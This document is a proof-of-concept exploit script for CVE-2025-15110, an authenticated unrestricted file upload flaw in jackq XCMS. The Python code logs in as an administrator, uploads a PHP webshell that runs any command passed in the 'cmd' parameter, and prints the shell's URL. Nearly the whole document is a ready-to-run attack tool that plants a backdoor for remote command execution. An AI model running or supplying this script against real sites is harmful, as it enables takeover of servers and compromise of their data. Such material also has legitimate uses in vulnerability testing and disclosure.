CVE-2025-15110 jackq XCMS 后台文件上传漏洞

import requests import sys # CVE-2025-15110 PoC - jackq XCMS Unrestricted File Upload # Authentication required (High Privilege) def upload_shell(target_url, username, password): """ Upload malicious PHP shell to vulnerable XCMS instance """ login_url = f"{target_url}/index.php?m=Admin&c=Login&a=login" upload_url = f"{target_url}/index.php?m=Admin&c=ProductImage&a=Upload" # Login to get session session = requests.Session() login_data = { 'username': username, 'password': password } resp = session.post(login_url, data=login_data) # PHP webshell content php_shell = '''<?php if(isset($_GET['cmd'])) { echo "<pre>"; system($_GET['cmd']); echo "</pre>"; } ?>''' # Upload malicious file files = { 'File': ('shell.php', php_shell, 'application/x-php') } try: response = session.post(upload_url, files=files) if response.status_code == 200: print(f"[+] Shell uploaded successfully!") print(f"[+] Access shell at: {target_url}/uploads/shell.php?cmd=whoami") else: print(f"[-] Upload failed: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) upload_shell(sys.argv[1], sys.argv[2], sys.argv[3])